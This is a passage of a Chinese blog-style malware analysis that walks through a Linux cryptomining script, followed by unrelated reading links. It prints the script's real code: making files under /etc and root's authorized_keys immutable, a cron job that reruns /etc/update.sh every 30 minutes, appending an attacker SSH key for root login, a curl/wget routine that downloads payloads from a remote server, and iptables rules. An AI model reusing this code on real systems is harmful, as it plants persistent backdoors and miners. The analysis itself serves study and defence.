09.Code 9
再接下来,脚本针对不同的用户属性,进行了不同的操作 。
首先是 root 用户 。通过判断是否存在 $rtdir 文件,来确定是否是 root 权限 。
chattr -i /etc/sysupdate* chattr -i /etc/config.json* chattr -i /etc/update.sh* chattr -i /root/.ssh/authorized_keys* chattr -i /etc/networkservice 使用 chattr 命令,把一些重要的文件,搞成不能任意改动的只读属性,也是够损的 。然后,操作 cron 程序,把脚本的更新服务加入到定时中 。
就是下面这段脚本 。
10.Code 10
if [ ! -f "/usr/bin/crontab" ] thenecho "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir} else[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - fi 注意 [[ $cont =~ "update.sh" ]] 这以小段代码,怪异的很 。[[ ]] 是 shell 中内置的一个命令,支持字符串的模式匹配 。
使用 =~ 的时候,甚至支持 shell 的正则表达式,强大的令人发指 。它的输出结果是一个 bool 类型,所以能够使用||进行拼接 。
而后面的单小括号 (),是的是一个命令组,括号中多个命令之间用分号隔开,最后一个命令可以没有分号;和 `cmd` 的效果基本是一样的 。
11.Code 11
搞完了定时任务,就要配置 ssh 自动登录了,通过把公钥追加到信任列表中就可以 。
chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/ 12.Code 12
说曹操曹操就到,下面的脚本就使用了 `` 进行操作 。
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'` if [ "$filesize_config" -ne "$config_size" ] thenpkill -f sysupdaterm /etc/config.jsondownloads $config_url /etc/config.json $config_url_backup elseecho "no need download" fi通过一系列骚操作,获取到配置文件的大小,如果判断文件大小不一致,那么就重新下载一个 。这就用到了 downloads 函数 。
shell 中的函数,看起来比较怪异,后面的参数传递,就像是脚本传递一样,传送给函数 。
13.Code 13
downloads $config_url /etc/config.json $config_url_backup 这句话,就传递了三个参数 。当然,文件要从遥远的服务器上下载 。域名是 .de 结尾的,证明是个德国的域名,其他的我们一无所知 。
downloads() {if [ -f "/usr/bin/curl" ]thenecho $1,$2http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`if [ "$http_code" -eq "200" ]thencurl --connect-timeout 10 --retry 100 $1 > $2elif [ "$http_code" -eq "405" ]thencurl --connect-timeout 10 --retry 100 $1 > $2elsecurl --connect-timeout 10 --retry 100 $3 > $2fielif [ -f "/usr/bin/cur" ]thenhttp_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`if [ "$http_code" -eq "200" ]thencur --connect-timeout 10 --retry 100 $1 > $2elif [ "$http_code" -eq "405" ]thencur --connect-timeout 10 --retry 100 $1 > $2elsecur --connect-timeout 10 --retry 100 $3 > $2 fielif [ -f "/usr/bin/wget" ]thenwget --timeout=10 --tries=100 -O $2 $1if [ $? -ne 0 ]thenwget --timeout=10 --tries=100 -O $2 $3fielif [ -f "/usr/bin/wge" ]thenwge --timeout=10 --tries=100 -O $2 $1if [ $? -eq 0 ]thenwge --timeout=10 --tries=100 -O $2 $3fifi } 我认为,这段代码作者写的又臭又长,完全没有体现出自己应有的水平 。应该是赶工期,没有想好代码的复用,才会写的这么有失水准 。
我们上面说到,脚本改了几个命令的名字,其中就有 curl 。这个命令是如此的强大,以至于脚本的作者都忍不住加了不少参数:
- -I:用来测试 http 头信息 。
- -m:设置最大传输时间 。
- -o:指定保持的文件名 。这里是 /dev/null,呃呃呃......
- -s:静默模式,不输出任何东西 。
- --connect-timeout:连接超时时间 。
- --retry:重试次数,好狠,100 次 。
14.Code 14
接下来是一系列相似的操作,最后,对 iptables 一批操作 。
【一个“挖矿脚本”还能难得住我?】
iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -I INPUT -s 43.245.222.57 -j DROP service iptables reload
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 一个在头条坚持写作659天的自媒体,说出这3句大实话,新手看看
- 新开天猫店铺运营思路 一个天猫新店如何做起来
- 永远不要在代码中使用“User”这个单词
- 科普中国回应:美国并不能通过根服务器让中国网络“瘫痪”
- 智能柜之外,我们的快递还有什么好“归宿”?
- 节后“刮油”别太猛 多吃“三春”益清肠
- 春季也会出现“中暑” 捂热综合征患儿逐年增多
- 有一种咳嗽叫“春咳” 专家提醒:乱用“止咳神药”危害大
- 如何经营好淘宝店 怎样才能经营好一个淘宝店铺
- 一个人可以开几个天猫店 一个公司可以开几个天猫旗舰店
